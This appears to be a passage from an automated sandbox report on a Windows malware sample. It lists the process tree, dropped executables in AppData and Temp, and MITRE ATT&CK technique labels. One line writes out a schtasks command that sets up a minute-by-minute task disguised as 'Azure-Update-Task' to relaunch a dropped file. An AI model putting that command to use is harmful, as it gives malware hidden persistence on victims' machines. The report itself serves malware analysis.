C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4124 -ip 4124
1⤵
PID:2072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4124 -ip 4124
1⤵
PID:3460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4124 -ip 4124
1⤵
PID:1856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4124 -ip 4124
1⤵
PID:2624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4124 -ip 4124
1⤵
PID:2796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4124 -ip 4124
1⤵
PID:1660

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4532

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- Creates scheduled task(s)
PID:2588

C:\Users\Admin\AppData\Roaming\aguijvh
C:\Users\Admin\AppData\Roaming\aguijvh
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1092

C:\Users\Admin\AppData\Roaming\jbuijvh
C:\Users\Admin\AppData\Roaming\jbuijvh
1⤵
- Executes dropped EXE
PID:956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 956 -s 448
2⤵
- Program crash
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 956 -ip 956
1⤵
PID:4596

C:\Users\Admin\AppData\Local\Temp\EE0D.exe
C:\Users\Admin\AppData\Local\Temp\EE0D.exe
1⤵
- Executes dropped EXE
PID:2108

C:\Users\Admin\AppData\Local\Temp\F496.exe
C:\Users\Admin\AppData\Local\Temp\F496.exe
1⤵
- Executes dropped EXE
PID:2004

C:\Users\Admin\AppData\Local\Temp\168.exe
C:\Users\Admin\AppData\Local\Temp\168.exe
1⤵
- Executes dropped EXE
PID:5060

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3688

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:3120

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4796

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:2660

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1084

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5056

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4812

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1508

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File Permissions Modification

T1222

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery